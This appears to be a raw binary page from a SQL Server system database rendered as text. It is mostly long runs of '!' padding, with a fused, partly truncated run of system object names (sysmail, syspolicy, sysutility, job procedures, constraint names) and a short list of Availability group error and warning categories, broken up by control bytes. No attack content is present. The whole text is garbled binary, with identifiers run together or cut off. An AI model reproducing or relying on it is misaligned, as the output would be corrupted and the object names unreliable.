!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	T
`?@?/syssqlguides0?pA?isysutility_mi_session_statistics_internal0?@?osysutility_ucp_aggregated_mi_health_internal0?@?asysutility_ucp_configuration_internal0?@?Msysutility_ucp_dac_policies0?@?Qsysutility_ucp_datafiles_stub0?@?Gsysutility_ucp_instances0?@?ksysutility_ucp_mi_database_health_internal0?@?Esysutility_ucp_policies0?@?gsysutility_ucp_processing_state_internal0?@?1syswebmethods0?@?'sysxsrvs0?@?Ktrig_sysmail_configuration0?@?Ytrig_sysoriginatingservers_delete0?@?SUQ__sysorigi__57F15AAC0E0370DD0?@?OUQ_sysdac_instances_internal0?@?]UQ_syspolicy_policy_categories_name0??EUQ_sysutility_ucp_mi_idDD((agent_datetimeDF__MSdbms_da__dest___239E4DCFsyscollec__colle__0EC32C7Adbmain__owner__22FF2F51mail_l__last___4589517Fs__is_in__16CE6296policy__creat__257187A8start__636EBA21utilit__creat__095F58DFdbfil__3B2BBE9Dis_gl__14D10B8Bmi_un__7246E95Dproce__55AAAAAFvolum__384F51F2FK__sysjobact__job_i__4AB81AF0MSdbms_map_default_datatype_mapping_idsysmail_mailitems_mailitem_idn_syscollector_get_execution_detailsutility_mi_get_data_collector_statuslogmarkhistoryPK__sysmail___78E6FD33C37F3600MSdbms_datatype_mappingsyspolicy_policy_execution_history_details_idutility_ucp_policies_internal_idsp_add_alertscheduledelete_jobtargetserverget_jobstep_db_usernamehelp_jobhistory_semjobhistory_row_limitermsx_defectrevoke_proxy_from_subsystemsqlagent_refresh_jobyscollector_cleanup_collectorevent_oncollectionendset_warehouse_instance_nameverify_collection_setdac_update_instancepolicy_add_policy_categorylog_policy_execution_endupdate_target_set_levelutility_mi_uploaducp_get_policy_violationsupdate_jobstepverify_jobproc_callerQLAGENT_SUSER_SIDysbinobjscollector_collector_types_internaldac_instancesfosMAIL_ACCOUNT_AccountServerTypeMustBeUniquedelete_log_spsend_retriesntplan_logownerspolicy_for_update_condition_triggerpolicy_execution_history_details_internalroxyloginsubsystem_viewsingleobjrefsutility_mi_session_statistics_internalucp_cpu_utilization_stubfilegroupsmi_healthutility_space_utilizationtrig_sysmail_accountUQ__sysdbmai__F87CA47793259FB4_@@,/F]bt@&,R@ot$@* 'GHJNS[beq
@
7L_fy@	@"
1>AD%F
kx
)
@@*.
B	LUn_[@+:^?.@@$@۹j?	G@7. ɕ?8@V@@@0p@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	DPp	hAvailability group errors (any replica role)p	pAvailability group errors (primary replica only)p	FAvailability replica errors	p	HAvailability database errors
p	lAvailability group warnings (any replica role)p	tAvailability group warnings (primary replica only)p	JAvailability replica warnings
p	LAvailability database warnings!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!